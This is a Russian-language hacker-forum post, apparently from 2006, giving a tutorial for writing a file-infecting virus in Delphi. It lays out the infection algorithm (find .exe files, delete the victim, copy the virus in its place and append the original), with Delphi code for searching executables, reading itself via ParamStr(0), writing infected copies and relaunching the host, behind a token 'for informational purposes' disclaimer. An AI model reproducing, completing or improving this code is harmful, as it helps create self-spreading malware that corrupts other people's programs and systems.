• XSS.stack #1 – первый литературный журнал от юзеров форума

Пишем вирус на Дельфи - статья

Статус
Закрыто для дальнейших ответов.

opium

floppy-диск
Пользователь
Регистрация
30.08.2006
Сообщения
7
Реакции
0
:punk: Пишем вирус на Дельфи. :punk:

Итак, сегодня мы, программисты Дельфи, напишем вирус. Я не буду писать весь исходник, вы его сами додумаете и усовершенствуете.
Вы наверное много раз слышали, что на Дельфи нормальный вирус написать нельзя. С этим трудно не согласиться! Да! Действительно нормальный вирус на Дельфи не напишешь, но можно написать среднячок, который будет и размножаться и заражать другие файлы.
Самое главное в вирусописательстве - это оптимизация работы. Это и есть самое сложное. Но если врубить хороший рок-н-ролл :punk: (панк) и подумать башкой, то всё получится. Готовьсь! Начинаем теорию:

Ха! Разбежался, я те ещё теорию булу писать... Сам находи литературу о нетипизированных файлах и учи! Но я ознакомлю вас с этим дерьмом вкратце:
Для начала нужно обьявить переменную файла и константу. Это делается так:

const vs=Размер_откомпилированного вируса;
var
f1,f2:file;

f1 - это у нас будет сам вирус, а f2 - это заражаемый файл.
vs - это константа, как вижишь, а для чего она нам понадобится узнаешь позже.
также в разделе var (Varible-переменная) надо обьявить массивчи буфера:

buf:array[1..vs] of byte; \\массив байтов

Ну а теперь узнаем как заражать файл - это легко! Алгоритм:
1 - находим файл для заражения
2 - читаем его
3 - читаем себя, от первого байта до константы vc(это у нас реальный размер файла-вируса, помнишь?)
4 - удаляем прочтённый файл-жертву
5 - копируем себя на его место под тем-же именем
6 - перемещаемся в конец файла(копии вируса) и записываем туда прочтённый файл жертву

Это ещё не всё, но пока остановимся.

Чтобы прочесть файл используем процедуру
BlockRead(var f1; var buf; count:integer[; var Result:integer]);
Разберём её принцип:

f1 - нетипизированная файловая переменная
buf - переменная, используемая в проге в качестве рабочего буфера
Count - выражение или значение, соответствующее количеству записей, которые следует считать из файла
Result - значение возвращаемое процедурой и соответствующее количеству считанных записей (необязятельный параметр)

Прочитал? - Окей - теперь прочти ещё разок.
Прочитал ещё раз? Всё понял? Если нет - убейся головой об унитаз!!! Или поищи в Интернете литератур о нетипизированных файлах.

Теперь разбираем процедуру записи в файл:


BlockWrite(var f1; var buf; count:integer[; var Result:integer]);

Count - выражение или значение, соответствующее количеству записей, которые следует добавить в файл
Result - значение возвращаемое процедурой и соответствующее количеству добавленых блоков (необязятельный параметр)
*То,что я не описал, описано когда мы разбирали процедуру чтения из файла.

Такссс... Прём дальще.

Ищем файл:
var
sr:tSearchRec;
**********
if FindFirst('*.exe', faAnyFile, sr) = 0 then
begin
repeat
sr.Name - это найденный файл. Что с ним делать я думаю ты догадался.
until
FindNext(sr) <> 0;
FindClose(sr);
end;

Читаем жертву:
AssignFile(f1,'FuckMe.exe');\\Это наша жертва
Reset(f1,1);\\Открываем для чтения
Seek(f1,0);\\перемещаемся в начало, хоть это и деоается как ДЕФАУЛТ
BlockRead(f1,buf2,FileSize(f1));\\Читаем полностью файл-жертву
\\FileSize(f1) определяет размер файла
CloseFile(f1);\\Закрываем файл
Читаем себя:
AssignFile(f2,ParamStr(0));\\Это наш вирус или заражённый файл
\\ParamStr(0) - аналог Application.ExeName - тоесть определяем своё имя
FileMode := 0;\\Чтобы прочесть из себя
Reset(f2,1);\\Открываем для чтения
Seek(f2,vs);\\Перемещаемся в vs - нашу константу
BlockRead(f1,buf1,vs);\\Читаем
CloseFile(f2);\\Закрываем файл
Далее удаляем файл-жертву, ставим себя на его место и записываем в свою копию файл-жертву.

Чтение-Запись - всё просто, а поэтому я дальше обьяснять не буду. Поройся в Хелпе Дельфи - поможет.

Далее проще:
1 - ЕСЛИ размер файла неравен константе vs ТОГДА запускаем спец-процедуру
2 - Ищем следующую жертву
3 - Проверяем заражён ли найденный файл
4 - Если не заражён, то заражаем

Спец-процедура, о которой говорилось выше:
1 - Создаём папку карантина
2 - Перемещаем указатель(в себе) на vs
3 - Читаем из себя
4 - Записываем файл в папку карантина
5 - Запускаем его

*3 и 4 действие помещается в цикл.
Теперь примерчик:
repeat
BlockRead(f1,buf,vs,li1);
BlockWrite(f2,buf,li1,li2);
until
(li1 = 0) or (li1 <> li2);
что такое li1 и li2 ты должен знать, если не знаешь - убейся головой об унитаз!!! Или поищи в Интернете литератур о нетипизированных файлах.

Ну... Думаю, что я закончил эту дурацкую статью. Я, конечно, описал далеко не всё, да и примеров мало - знаю, знаю, просто эта статья рассчитана на людей, которые уже закомы со средой Дельфи хотябы 3 месяца. Тоесть не для ооочень тупых или неграммотных.

Данная статья написана в ознакомительных целях и показывает как Нельзя делать! Я не несу никакой ответственности за возможный ущерб, нанесённый этой статьёй. Ydachi Zelt' ne Bydy - Plohaya primeta.
:shit: :shit: :shit:

Автор: opium
Мыло : Hungry@front.ru
 
Статус
Закрыто для дальнейших ответов.
Верх